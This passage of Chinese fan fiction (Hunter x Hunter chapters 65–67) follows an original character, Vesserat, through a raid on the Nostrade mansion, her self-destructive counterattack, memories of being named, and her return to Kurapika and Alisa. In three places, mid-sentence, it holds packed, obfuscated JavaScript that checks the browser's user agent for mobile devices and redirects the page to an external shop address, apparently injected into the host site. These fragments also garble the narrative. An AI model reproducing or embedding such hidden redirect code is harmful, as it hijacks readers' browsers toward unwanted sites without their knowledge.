“卡尔玛拉家的人拒不偿还欠款,听说他们本来就是靠着不那么光彩的手段发家,明面上是企业家,私底下其实也常做杀人越货的事情。欠债不还当然惹怒了债主,在某个晚上,债主们雇佣的保镖直接抢空了庄园里所有值钱的东西,又一把火点燃了整片土地,所有卡尔玛拉家的人都死在了这里。” 真是盛大的故事。 维瑟拉特听着她的叙述,心里倒是没什么特别的感触,不存在窃喜,也没有半点对于生命逝去的悲伤,更加想不到更多的事情。非要说现在心中有什么情绪,可能是……困惑? “警察没有介入吗?”她不理解故事里为什么完全没有出现执法者,“谁也没被抓吗?” “事后警方倒是有在调查,但象征性地抓了几个小混混,对外宣称是意外。我告诉你的事情,只是流传甚广的‘合理的推测’。这里到底发生了什么事情,没人知道。” 维瑟拉特摸出香烟,把裹满尼古丁的烟雾吐进风里,“友克鑫真危险。” 旋律被她一本正经的说法逗得捂嘴偷笑,但这笑声很快就轻了下去。 “应该是这种想要斩草除根的行事方针比较恐怖。”她喃喃说着,“毕竟不是谁都会像经历过灭族痛苦的酷拉皮卡那样,仁慈地让仇家的余党活下去的。” “哦……这是什么事?” 维瑟拉特惊讶地发现自己完全不理解旋律的话语。旋律也有点意外。 “啊,可能是酷拉皮卡还没有来得及告诉你吧。是这样的,兰格雷家还有一部分人活着。” 65.遗迹x无限伤口x谢谢你 兰格雷家还有人活着——尽管是第一次听到这种事,但维瑟拉特居然没有很意外。可能她早就料到了,毕竟去往洋馆杀死兰格雷的那天,守在宅邸的拢共也没有多少人,当时就应当感觉到异常了,只是那时候维瑟拉特被自己的事情纠缠得分身乏术,完全没空去思考这件事情。 说到底,她对兰格雷的事情也没有那么在意,只是因为旋律提及了,所以才理所应当般追问了几句。 “但兰格雷已经死了。”这一点是维瑟拉特可以确信的,“剩下的余党谁来统领?” “听说是他的侄子。他们原来的经营范围全都被诺斯拉家吸纳了,如今还在忙着寻找新的盈利产业,日子不算好过,想来暂时不会成为我们的威胁吧。只要他们没能找到未来的落点,即便诺斯拉不出手,其他家族也会想办法把他们的遗骸划分完毕的。” “哦……”其实维瑟拉特也没在担心兰格雷家的事情,非要说的话,可能只是有一点好奇心在作祟吧,“这么说的话,当时在洋馆会面的陷阱,是兰格雷故意设下的吧?” 她的好奇心落在了这里。 “兰格雷的想法和莱特一样,打算牺牲目前作为头目的自己,保全家族剩余的人员和财富,指望着遗留下来的幸存者们可以重新撑起这个家?”这是维瑟拉特能想到的最合理的可能性。 旋律轻轻点头,“就像壁虎断尾那样。” “壁虎?” 维瑟拉特印象里没怎么见过这种四足爬行的小东西,所以旋律告诉她,壁虎在遭遇危险时会通过肌肉收缩的方式切断自己的尾巴,这样一来就能求得生的机会。 “尾巴还会长出来吗?” “会哦。” “哦……”维瑟拉特点着脑袋,“我明白了。” 这么看来,诺斯拉能走到今天的这一步,倒也不是因为思虑周全或是怎样。他们只是侥幸胜利了的那方而已。尚未到来的未来依然值得忧心,好在不必非要在现在思考这个问题。 她们行走在庄园。曾经的焦土已长满高草,草叶窃窃地触碰着碳化地旧别墅。卡尔玛拉家拥有的这块土地宽阔的不像话,将溪流、林地和山洞一起包揽其中,沿着主宅后方的石子路继续走,好一段路之后还能看到被烧焦的几间小屋,房屋之间隔着好大的空地。 已经没有任何卡尔玛拉家的人活着了,这片土地依然属于他们吗?维瑟拉特问旋律。她说是的,此地至今没有任何人买下,好像是因为觉得这里死了太多人,太不吉利,且价值不高,。也许以后只有自然会接管这里。 那些小屋越来越近了。维瑟拉特一点一点停住脚步。 “我以前住在这里。”她有这样的感觉,而不是真的想起了什么,“然后……” 她加快脚步,没有急切到要跑起来,只是疾走着,来到立在枯树下的石头旁,用手磨掉石块上的灰土,并没有什么字迹展露出来,但她说: “蕾尼在这里。” 旋律小跑过去。地下是否真的埋葬着什么呢?她其实无法给出答案。可以听到大地的回响,但这沉稳而漫长的声音不会诉说有谁长眠于泥土之下,但维瑟拉特的心跳声带着前所未有的确信,旋律相信她说的一定是正确的。 “你想起了什么吗,维瑟拉特?” “还没有。”她摩挲着石头,粗糙地磨痛了掌心,“说不定想不起来更好。她的死亡一定是伤心的事情,我不想感到太伤心。” 但是,说着这话时的她的心跳,已经染上悲伤了。 旋律不会否定她,只说:“如果能回忆起来的是快乐的记忆,也很不错吧。” “嗯……最好是这样。” 维瑟拉特起身。风又变得更冷了一点。她仰起头,深吸了一口气,肺部似乎都要被冻上。 冬天和冻土,她全都不喜欢——很稀罕的,她现在也有讨厌的东西了。 她们走出破败的遗迹,离开了森林。也离开了友克鑫。 这一行算是无疾而终吧——什么也没能想起来,怎么想都是毫无收获没有错。 唯一值得庆幸的,或许是拿到了蕾尼的照片,也找到了她最后所在的地方,并且还拿上了给亚里砂带的水果挞以及与来时无异的困惑,向诺斯拉的宅邸走去。有辆车从街旁驶过,卷起尘土满满,把维瑟拉特的头发也吹了起来。她眯着眼瞥过去,原来是银行的押运车,开这么快,简直就像是在逃命。 “这辆车刚才也经过了附近,是迷路了吗?”旋律不解,“它的引擎声有点太刺耳了。” “是嘛。”维瑟拉特对于这辆车的经过完全没印象,说到底她平常在附近就没怎么见到过押运车,毕竟,“附近没什么银行,对吧?” “是呢。” 这样的话…… “请帮我拿回去,谢谢。”维瑟拉特把水果挞塞进旋律的怀里,“我到附近去看看。” 旋律的步伐顿了顿,很想直接询问,可说出的只是故作轻松的:“去散步吗?” 维瑟拉特努力地笑了一下,“差不多吧。” 而后便转身向前。 押运车去了哪里?维瑟拉特毫无头绪。她没有旋律的优秀听力,没办法追着引擎声找到他们,但她了解周边的街道,那般巨大的车辆可能途径何处,她心里多少有数。 最适合的当然是两条街开外的公共停车场,身穿防弹衣的状似警卫的家伙挨个下车,把装着沉重东西的木箱搬下来,能听到铁块碰撞的声响。维瑟拉特不想以貌取人,可怎么看都觉得这些人眼神好空洞,如同执行任务的机器,绝对是犯罪开幕的前兆,说不定她应该…… ……刺痛感。 准确地说,是剧痛。冷冰冰的东西捅进了她的侧腰,尖叫声也被封进其中,能感觉到脏器的破裂,而后有呼吸的声音。 止痛,快点止痛。 维瑟拉特按下镇痛泵,药剂还需要时间,她没法等待了,迅速朝后倒去,把袭击者按在地上,拧过他的手腕,把窝在他手中的他的刀刺进他的脖颈里。最后一声叹息卡在喉头吐不出来,又有人从背后攻过来了,狡猾得可怕,勒住她的脖颈,连反抗的余地都不存在。 说真的,不那么想要用这一招的,因为真的很痛……可惜她没有选择。 维瑟拉特引爆了一条手臂和半个胸腔,足量的骨头破片穿透了袭击者的防弹衣,氧气重新进入大脑。 下一秒,被再度夺走。 一群人压了上来,致死的疼痛雨水般落在身上,某具尸体上的耳麦贴近了她的耳朵,维瑟拉特听到了细小的声音。 “就是这样,你们做得很好。没有人的治愈能力是无限的,只要你们反复对她造成伤害,她就会彻底死去。别忘记小兰格雷说过的,这家伙才是诺斯拉家最麻烦的,另一个是那个金毛。把她解决得差不多了,我们就能开始下一个阶段的行动了。” 果然是有计谋的。但“下一阶段的行动”是什么?维瑟拉特似乎能猜到了。必须把消息传递出去。 维瑟拉特艰难地拿出手机,藏进怀里。她不确定自己拨通了谁的电话,至少电话连通了。 “小维?” “快逃!”小刀刺进脖子里,她的声音被一分为二,破碎地叫着,“快点逃,袭击要来了!” 而后通话断了。 她再度自爆。 挺疼的——准确地说,是特别疼。药的效力有限,或许消除了很大一部分痛感,但绝对无法百分百挡住身体重组的疼痛感。要无视疼痛吗?算了吧。尽管疼痛感很恼人,至少可以让她保持清醒。 维瑟拉特冲向押运车,可防弹的车门已经关上,拿着对讲机的家伙匆匆躲进去,一看就知道他是那个给出了“反复杀死她”的之泪的家伙。是这群家伙的领导者吗?说到底这些家伙又是谁啊,雇佣兵? 想不明白,干脆别想了。连续不断的射击从窗户缝里冒出来,还有埋伏在路边的家伙全尽全力要为她制造伤口。维瑟拉特知道,他们都在尽力榨干自己,但她不想东躲西藏,节能也不是她的风格。还是直接解决掉问题吧。 在下定决心的同时,视线的一角,燃烧的流星落下……流星?可现在是白天啊。 维瑟拉特看过去。那燃烧着的是火箭炮,接连不断,落点就在诺斯拉家。 糟了。 没空去追逐这群试图取她性命的家伙了,反正他们和落在诺斯拉家的火箭炮绝对是同伙,阻止了一方就能逼停另一方。 现在,一定是宅邸的情况更重要。 维瑟拉特扭转方向,抢了路边的自行车(以后她会赔钱的),冲向诺斯拉家。 她来得够快了吗?主屋的一角已经烧起来了,还是有防不住的火箭炮落下来了。密密麻麻持枪的家伙冲进来,好混乱的战斗,已经出现死伤者了。听到有人在痛骂,说兰格雷的败家犬就不要再狂吠了,可惜这并不会激化愤怒,也不会了却愤怒,所有人还是会奋不顾身地想起,因为这依旧是渴望彻底击溃另一方的死战。 大脑不受控制地在计数,维瑟拉特在思考明晚教堂里要点燃几根——或者几十根,甚至更多蜡烛?火光会把壁画烤化的。宅子里是不是还有人在,要替他们点几支蜡烛,她会点上谁的蜡烛?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196910|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 维瑟拉特没敢去向宅邸里还有谁在,却多多少少能够想到会在那里的面孔。她躲过乱战的子弹(很可能也没躲过,无所谓了),一直线冲进屋里,果然家里也是乱糟糟的一片,裂开的天花板掉下来,差点害她被埋住。还是赶紧把腿从水泥碎片里抽出来吧,继续向前。 很奇怪,她不停地往前走,却也不知道自己要去的地方是何处,也不那么清楚她想要找到的人是谁。还好,有人轻轻拽住了她的手。而后便能看到酷拉皮卡惊愕的、仿佛将要落泪的表情。 他没有看到维瑟拉特走进宅邸,只是一直在抵御着试图闯进家中的那些兰格雷的余党和他们雇来的杂鱼。他知道自己在斩草除根这件事上做了一个不那么精准的决定,正如他很清楚宅邸的哪几个角落已经起了火。至少暂且确保了宅邸不会被侵入,他才匆忙确认是否还有人滞留在宅邸里,没有从地下通道撤离。 所以,看到她了,茫然地伸出了手,指尖落在空气中,没有触碰她。 “伤口……”他盯着维瑟拉特肩头的弹口,扩张的伤口在他说话时仍然流血,“没有愈合吗?” 维瑟拉特没有说话,尽管她可以说点什么。她可以告诉酷拉皮卡,自己已经尝试过治愈了,可无事发生。气很可能已经不够了。 不想骗他,也不希望他知道,于是只剩下短暂的无言弥漫在彼此之间。 酷拉皮卡最先打破这份沉默,拉着她往向下的楼梯走。 “芭蕉早就设计好了撤退路线,从地下走就能离开宅邸。你必须快点去安全地地方。” 酷拉皮卡轻轻地推着她,自己走向的却是截然不同的另一个方向。“你要去哪里?”维瑟拉特几乎是尖叫着。 “总要有人解决这一切。”他笑着,仿佛将要做的并不是什么危险的事情,“我会尽力阻止今天的混乱” “可我不觉得这是你该做的。” 维瑟拉特加快脚步,走在前方,堵住了他的前进。 “我希望你想办法带所有同伴活着离开这里,我会为你们创造离开的机会。我一个人来就行。我不想替你们点蜡烛,你们也不必为我这么做。” 做出重大的决定不需要耗费了不得的思考时间,她在说着这话的同时,才飞快地下定了决心。 一如既往,没有什么特别的感觉。 维瑟拉特眯起眼,扬起嘴角,努力做出了一个笑眯眯的表情。 “拜托你了,酷拉。我待会儿就回来。” 这是承诺吗?不。绝对不是,回来的承诺也是可信度为零的欲盖弥彰,太容易就能想到她要做什么了。酷拉皮卡知道自己必须阻止她,至少要停住她此刻的脚步,他明明已经伸出手了,可衣角却从指尖溜倏地走。 不行。怎么能这样。他们再度相遇了不是吗?既然如此,他们就应该始终停留在彼此的人生中吗?决不能是像这样…… “不可以!你不能——” “谢谢。” 她已经跳到了窗框上,咚的一声,打断了他的话语。风把她的长发卷起来,翻飞的深红色。 “谢谢你,把我的名字告诉了我。谢谢。” 风停下了。深红色消失无踪,落在草地上。 区区三米的高度,其实也没什么吓人的。维瑟拉特知道自己的骨头可能因此裂了几条缝,这也是无所谓的事情。 她扯掉手背上的留置针。止痛药早就用完,留着这东西根本没用,反而累赘。就这几秒钟的功夫,已经看到几个枪口对准了自己,她要加快速度才行了,必须快点伸出手,血淋淋的掌心抵在前方尸体的伤口上。 她知道自己要做什么,尽管她从没有真正做过这件事情。还好,没那么难以实现,她想她不会感到痛苦。 只要伸出手,只要去触碰。 鲜活的生命,死去的躯壳;殆尽的气,即将消散的微弱的气。 连接在一起。 尸体凝聚起来,无数细小的气与苍白的肉块附着在唯一活着的那个人的身上,在她的意志(还存在吗?)的引领之下前进,巨大的人形立在大地之上,红色的独眼不知在注视什么。 它在前进,向前迈步,踏碎了逃跑的兰格雷的簇拥,掀翻了前来支援的押运车,崭新的亡者的躯体会成为巨人的一部分。 她一直在走,跟随着逃亡者来到始作俑者的所在地。始作俑者并不害怕死亡,但当红色的眼睛透过窗户注视着他时,他还是忍不住发出尖叫。 巨人一言不发,一动不动,在悄无声息中彻底爆炸。 血之雨淋透了兰格雷老宅的断壁残垣。 66.无家可归x名字x回家吧 抬腿。迈步。向前。 维瑟拉特正在前进,目的地是家。但家在什么地方?她不知道。 关于家的事情,已经想不起太多了,只有“回家”的概念还清晰地存在着。所以在杀死了那个虐待她、把她培养成对付揍敌客的武器、还害死了爸爸的男人之后,她要做的第一件事就是回家。 从那天之后,已经过了多久了?一周?半个月?或者更久?她失去了对时间的感知,但,总觉得在那之后,度过的时日还没有到一年之久,既然如此,她的年岁尚未增长。十三岁的她依然茫然前行。 对于家的记忆是,门上挂着有小鹿的毛毯,房子就在森林的边缘。她想,只要找到深山的森林就能回家。 深山的森林在哪里? 有人为她指引了方向,告诉她,山要往南边去。维瑟拉特去了,看到的只有沙漠,风都在榨干她皮肤里的水分。 有人说山区要坐船度过海峡,去往对岸的另一个国家才能看到。维瑟拉特去了,知道自己没有钱买船票,却还是悄悄地溜到了船上。船上的几个工作人员也知道她没有票,却什么都没说,假装这个蜷缩在楼梯下方阴影里的孩子并不存在。 可这里也没有山区。此处是繁华的友克鑫,光鲜亮丽的住民走在马路上的每一步都会把鞋跟踩得哒哒响,整个成实都嘈杂得可怕,无数声音四面八方地涌过来,比野兽更难以捉摸。 维瑟拉特没有不喜欢或是不讨厌这里,也并未对陌生的此地心生恐惧。她对友克鑫没有任何特别的感觉,一路的失败没能挫败她的动力。她只是心想,这里不是她的家,她要继续向前。 接下来去哪里?不知道。她试着询问,行走在友克鑫的人却不搭理她。她茫然地继续走,速度越来越慢,拖沓在人行道上。她意识到,自己需要休息了。 要在这样华丽的城市找到休憩的落脚点,简直像是不可能的事情。还好,无论是多繁华的地方,都一定会存在着能让社会弃儿喘息的地方。她找到了贫民窟,这里有挡风的纸箱,还有能够盖在身上取暖的报纸。维瑟拉特用报纸蒙住自己,睡着时没有做梦。 日光把她叫醒。她不那么情愿地睁开眼,报纸上的文字映在了视野上 「塔卢窟」 ……啊! 维瑟拉特匆忙坐起来,把报纸翻面。现在顺序对了,她看到的文字是“窟卢塔”。 「突发悲报——窟卢塔惨遭灭族!全族数百人竟无一幸免!」 ……啊? 维瑟拉特看到标题了,但没有去看报道的内容,文字自顾自地闯进视线里,她明明没有在看。 就好像这张报纸的发行日期,她根本不在乎这种信息,可大脑已经捕捉到了。 这是一年前的报道。一年前的十月。一年之前。 一年前……一年前她在干什么?想不起来,一点都想不起来。她只是想回家,只是想…… 有什么沉重的东西砸过来,维瑟拉特被撞到在地,面孔贴着地面的尘土,没有感觉到丝毫疼痛。 “别怪叫了行不行!”把垃圾桶丢到了她头上的那个凶神恶煞的男人冲她怒骂,“吵得要死!” 这是在说什么?她发出声音了吗?什么也没有听到。 维瑟拉特不知道自己正在尖叫。 从后脑勺的伤口滴出来的血将报纸上的报道浸透,最先失去的文字是“无一幸免”,然后是“灭族”,最后是“窟卢塔”。什么都没有看见。 维瑟拉特摇晃地站起来,滴落的血回到了身体里。 看不见了,事实不存在了。她要活下去,然后回家。回家。回家。 好想回家。 一年前的那时候在做什么?她不受控制地想,所以想起来了。 那时候她已经不怎么挨打了,那个男人满意不知痛觉的她。她更多地开始练习体术和各种武器,在秋季打猎,在那时候踩碎了爸爸的眼镜。 好想回家。 爸爸是那时候被杀死的,在窟卢塔灭族之后。面对那男人的时候,爸爸说了什么呢?他知道自己很快就能找到走失的女儿了吗? 触手不可及的家、本能相见的亲人、支撑她走出那座山的希望。活下去,然后回家……的意义,是什么? 已经没有意义了。 无家可归。 维瑟拉特依然在尖叫,像野兽,或者怪物。已经无法迈步了,她艰难地拧着无力的身躯,走向刚才那个把垃圾桶打在她头上的男人,紧紧抓住他的双手。 “杀了我吧,拜托你。” 她恳请他。 “已经没有活下去的必要了……谁也没活下来…… “妈妈…… “让我死吧……好想回家……已经没有家了……请你杀了我,请你杀了我……” 谁也没有杀死她,谁都觉得她疯了。大家躲得远远的,担心疯病会传染。 维瑟拉特可能确实死了,如愿以偿地死在那一天的友克鑫,巨大的悲剧是死因,念能力用了很长的时间才让看不见裂口愈合,所以她才能够睁开双眼。 灰扑扑、脏兮兮、周围的人在盯着自己。 她不知道这是什么地方,也不清楚睡在这里的目的,所有人的眼神都很诡异,她并不好奇他们的反应。 当然,也不困惑,也不迷茫,尽管她不知道自己要去向何处,只是肚子空空的,好饿。 抬腿。迈步。向前。没什么目的,活不活下去也无所谓,只是因为现在很饿,所以要去找东西吃。 面包的香味逼停了她的脚步,小餐车里摆着沾满糖粒的甜甜圈,难怪香得可怕。她走近了些,努力不让视线粘在餐车的玻璃门上。 “看起来很好吃吧。”小餐车的老板是个膀大腰圆的女人,说话也洪亮,却不会咄咄逼人,“只要五戒尼就能买一个了,要尝尝吗?” 戒尼……是钱吧? 她摸摸口袋,什么也掏不出来,愣愣地站在原地,如刚刚醒来时一样茫然。这副窘迫的样子很容易就会让人看出她没钱的事实。 小摊老板招招手,叫她绕到后面来,然后又东张西望了一番,确认没人投来视线,飞快地把几个烤焦的面包塞进她的怀里。 “拿去吃吧。可怜的孩子。”老板拍拍她的脑袋,“说实话,看你这样子,我可能也帮不上忙。你去隔壁街区的教堂看看吧,那里常常会发放圣餐,你至少不会饿肚子。” “好。” 她把小摊老板的话语当做命令,徒步走向隔壁街区,教堂的尖顶出现在眼前,但今日不发放圣餐。她一下子不知道该做什么了,呆呆地站在电线杆下,在这时候看到了便利屋的招人广告。 「诚招雇员,岗位多多,收入丰厚,包吃包住,欢迎线下咨询!」 意思是,去了那里就不会饿肚子了。 所以她推开了那扇门,坐在前台的是蕾尼——真奇怪,她一看到蕾尼,就知道这是蕾尼。 “欢迎光临,是有什么委托要交给我们吗?”蕾尼不专心地说着,展开手指摆在桌上,晾干刚刚涂好的指甲油。 她摇头,“没有。” “哦。”她还是那副专心的模样,“那还有别的什么事吗?” “成为雇员就有饭吃。我来当雇员。” “来应聘呀?” 蕾尼挺意外,总算显得上心一点了,却没说什么,摊着手指走进后面的房间,说马上就找负责的人过来。 没有等待太久,有一个男人跟着蕾尼走出来了,一看到站在前台的她就很不高兴。 “拜托不要这么戏弄我可以吗,蕾尼?”他很不高兴。 他的语气让蕾尼也不高兴,“我没有在戏弄你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204310|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这孩子看起来很认真,所以我才叫上你一起过来的。我骗你干嘛呀,杰斯顿。” “我不觉得这小孩能做什么,除非让她和你一起工作。” 蕾尼冲他翻白眼,“那你需要找来更多的恋童癖客人。” “我觉得这就是她唯一能在这里工作的办法。难道指望她杀人吗?”杰斯顿挑衅似的把目光放在她的身上,问她,“是吧?” 她睁着干涸的双眼,对他说,不是。这让杰斯顿很不爽。 “你这话什么意思?” “我能杀死你的意思。” “呵!”他质疑的冷笑差不多能掀翻屋顶,“那你试试!” “好。” 时钟滴答滴答,两秒钟之后他就被按在地上了。她从口袋里摸出了他的刀,要不是他慌张叫停,刀刃就得消失在脖子里了。 “行吧行吧!看来你还是有点本事的。”嘴上这么说着,其实杰斯顿还在满不服气地撇嘴,“就让你在这里工作吧。你家里人没意见吧?” “没有。” “我想也是。说到底,我觉得你这种人压根就没有家人。” “是的。” 气氛冷了冷,蕾尼赶紧插话进来。 “你多大了?” “十三岁。” “家在哪里呢,不是友克鑫人吧?如果你是外乡人的话,便利屋还会提供住所哦,很棒吧?” “不知道。不是。很棒。” “你回答得好认真哦。你的名字是什么呢?” 名字吗? 她没有在进行思考,只是纯粹地停顿了片刻。 “……不知道。” “名字都不知道吗?” “是的。” 杰斯顿摸出合同,插嘴进来:“那得取名字了。我想想。” 他开始写下各种条约,笔尖刷刷地响个不停。 “就叫你——” —— —— —— “——维瑟拉特。” 不知是谁的声音闯进了回忆里。 即将被赋予“十三号”这个名字的她回头去看,谁也不在身后。 但是…… 听到了锁链的声音,好像闻到了小狗的味道,调好了音准的曼陀林被拨响,一定有谁轻轻拂过她的脸颊,对她说:“回家吧,维瑟拉特。” 所以她才睁开了双眼。 略显昏暗的房间,窗外是黑夜,只有一盏小小的灯亮着。感谢它带来的光芒,维瑟拉特得以看清自己躺在一张床上,身旁散落着零碎的肉块,不知曾是谁的身体。但有人捡回了在那场爆炸中变得彻底破碎的她,否则她很可能无法躺在这里。 维瑟拉特穿上衣服。身体很沉,也不那么自在,她不顺畅地向前迈步,走出了房间。 这里是诺斯拉家,但因为早先的袭击变得有点破破烂烂,到处都是修复到一半的建筑痕迹,还有脚手架。倒是没看到太多人,可能现在真的很晚了。维瑟拉特想先去地下室的祭坛看看,可脚步已带着她走上了楼梯。 推开熟悉的门,就能看到熟悉的那个人。维瑟拉特莫名觉得好不自在,明明是很想见到他的。 想来想去,可能只有这个原因了吧。 “我觉得,我变得像莱特·诺斯拉一样了。” 没有听到酷拉皮卡的回应,看来抛出的梗没有被理解,她只好继续说下去。 “就是说,抱着必死的决心做了某件事,结果没有真的死掉。好逊。但是……” 她不自觉地垂下眼眸,肯定是因此才没有发现向她走来的酷拉皮卡。 “我想回家,所以我努力地活下去了。” “嗯。我知道。” 酷拉皮卡伸出手,紧紧地,紧紧地拥抱着他。 “小维,欢迎回家。” 67.拥抱x幸福感x清晨之后 实在是……很温暖的拥抱。 没有半分压迫感,也不会让人觉得难以喘息,维瑟拉特只觉得自己沉进了一片柔软之中。她会忍不住低头,轻轻蹭着酷拉皮卡的肩膀。 还能活着做这些事,倒也不赖。 维瑟拉特不确定此刻的自己是否捕捉到了人们所谓的“幸福感”。这种虚无缥缈的东西对她来说太久远了,也过分陌生,倘若当真降临,很可能连似曾相识的既视感都不会冒出来。但她愿意说,当下的一切——破败的家、浑身都在痛的自己、轻轻拥抱着她的酷拉皮卡,全都让她觉得没有死去是一件幸福的事。 “我以为你死了。” 酷拉皮卡喃喃着,明明知道自己应该松开手了,却怎么也没办法将意志转化为行动。 “那是一场很惨烈的爆炸,满地都是……旋律说她听不到你的心跳声,但如果还抱有希望的话,可以想办法把你的身体先找出来。在这件事上倒是费了不少时间呢。” 感觉他是想说一句有趣的玩笑稍稍调节一下气氛,虽然总觉得说完之后,只有他自己变得更难过了。 维瑟拉特拍拍他的脑袋,动作很轻,连声音都听不见。 她不觉得自己是抱着必死的决心做出了那一切的,但在连接着尸体的气、将死去的肉块化作身体的一部分时,她确实也不认为自己还有办法能够活下去。但曾经数年盘踞心中的执念唤醒了她,还有人在呼唤她的名字,她想,这才是她今晚还能站在这里的原因吧。 “谢谢你,劳你们费心了。”维瑟拉特轻扯他的头发,“我回来了,这会让你高兴吗?” 酷拉皮卡皱着脸,怎么看都像是在忍眼泪的表情。忍着不哭的面孔看起来肯定很丢人,也难怪他立刻低下了头,让额前垂落的碎发遮挡住表情。“嗯。”他说,“还能见到小维,我很高兴。” 她把手掌贴着酷拉皮卡的脸颊,“以后你会更多更多地见到我的。希望你到时候也是高兴的。” 他侧过脑袋,仍由维瑟拉特的手掌托着他,很轻的一声“当然”似乎快要从指缝间溜走,但一定不会光秃秃地落在地毯上。 “诺斯拉家还好吗?”维瑟拉特问。她现在草感觉到,原来她还挺在意这个家。 “这个嘛……” 想说出现状倒是不难,不过酷拉皮卡还是想要先整理一下语句。 “总体情况还好。没有特别大的伤亡,也没有很大的损失,多数人都从袭击中安全地逃出来了。好在兰格雷的残党没有在宅邸里安放什么炸弹之类的东西,否则我们就得转移到其他房产了。既然还能留在这里,那就还算不错吧。”总之酷拉皮卡这么觉得。 “是吗?” 维瑟拉特抬起眼眸,看着墙灰从办公室天花板的缝隙间漏下来,漂浮着细小建筑粉尘的空气如同小儿止咳悬浊液。 她真的不想质疑酷拉皮卡,却也真的忍不住回想想,这种情况能算是“还好”和“还算不错”吗? “已经很好了。真的。房子可以修好,伤口也能够愈合,时间会弥补一切的。”酷拉皮卡努力摆正她的期待,“世上肯定存在着比这更重大的打击。而且,相比兰格雷家的损失,我们已经保全得足够多了。” 事实上,兰格雷家已经没有什么可以损失的了——在她引发的相当骇人的爆炸之后,那个家已经什么都不剩下了。 维瑟拉特微微点头。她理解酷拉皮卡的话,也知道世上肯定还存在比诺斯拉家经历的一切还要更加凄惨的惨剧,既然这个家还没有沦落为报纸标题所写的“突发惨案”,足够证明当下的一切已经很值得庆幸了,哪怕精准落在酷拉皮卡头顶上的墙皮提前四十年染白了他的头发。她努力不笑出来,只告诉自己,被弄脏的头发也是能洗干净的,用不着太担心。 后院的狗突然叫起来,洪亮结实。维瑟拉特推开窗往外看,原来是那条一贯挺沉稳的杜宾在狗屋旁边打转,也不知道是怎么了。又看到亚里砂匆匆慢慢跑过去,外套都没有穿好,光顾着哄小狗了。当她抬头时,恰好与维瑟拉特对上了目光。 本以为亚里砂会很高兴的,说不定她会跳起来或是笑起来,实际上却不是。她愣了两秒,突然一下子哭出来了——那种会发出啊啊的叫声的大哭。 “你没事了吗?”她在窗下大声问。 维瑟拉特用力点头,幅度大到一定要相隔数米也能被看到,“嗯!” 在得到了确信的应声之后,亚里砂才冲进屋子里,维瑟拉特也往楼下跑,她们差点在楼梯上装个满怀。 实际上,她们真的是撞上了,但那是温柔的碰撞,亚里砂紧紧地抱着她,纤细的手臂里藏着好坚韧的力量。 和酷拉皮卡一样的动作。维瑟拉特想。为什么呢?这一点维瑟拉特暂时还没想明白。 不过,无论是亚里砂的拥抱,还是酷拉皮卡的拥抱,她全都…… “太好了!太好了!你还活着!我以为你也……” 亚里砂说到这里就说不下去了,眼泪再次接管主导权,只能在她的拥抱中抽泣。 维瑟拉特拂过她的后背,没记错的话,这是安慰人的最好的方式。 “我和你说过的,我不会死。不用害怕。” 亚里砂猛地抬头,惊讶到说不出话,好一会儿才挤出话语,“你还记得我的事情吗?” “嗯。” 亚里砂笑着跳起来,明明刚才还在哭的。果然就像旋律说的那样,人的情绪不是非黑即白的。 她拉着维瑟拉特往楼下走。 “那你一定还记得这个啦!” 她打开冰箱,隔层上摆着来自友克鑫的水果挞。 “旋律刚把它交给我,袭击就发生了……还好,我把它找回来了,一直想着,如果你醒来了,可以和你一起吃。因为你买给我的嘛。我们尝尝吧,好吗?” “好。” 打开包装的纸盒,裹着蛋奶冻的水果乱七八糟地洒在塔皮上,变成了和这个家一样的破败模样。亚里砂“哎呀”了一声,又觉得自己发出的这种声音好扫兴,赶紧补上一句,说不定它的味道依旧很棒。 给出了此等信誓旦旦发言的她,率先舀了一勺,不受控制地皱起了脸。 这回真的只能给出“哎呀”的评价了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210014|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好像有点……”亚里砂眯起眼,努力让话语听起来足够委婉,“可能是,放了太久吧?” 维瑟拉特就比较直接了,“坏掉了,是吗?是因为我睡了太久吗?” “嗯——可能是的。” “那下次一起去友克鑫尝尝吧。” “好呀。我很期待。” 说着的是尚未落地的未来计划,期待却如此真情实意。维瑟拉特第一次希望未来可以快点到来。 她看着亚里砂把坏掉的东西收进垃圾桶,一起走出厨房。她刚才对亚里砂说,自己什么都没有忘记,而她确实是没有忘,所以还记得亚里砂对曾经说过的、她正在计划的“未来”。 维瑟拉特停住脚步。 “我想留在诺斯拉家。”她对亚里砂说,话语略显唐突,“之前倒是没有这种想法,至少并非出于自主的心情才留在这里的。也就是说,这样的念头是不久之前才冒出的。” 准确地说,这个“不久之前”指的是亚里砂和酷拉皮卡拥抱她的时候。 “我知道你正在找工作。其实我很想你留在这里,但如果你得到了更好的机会,我会为你高兴的。真的。” 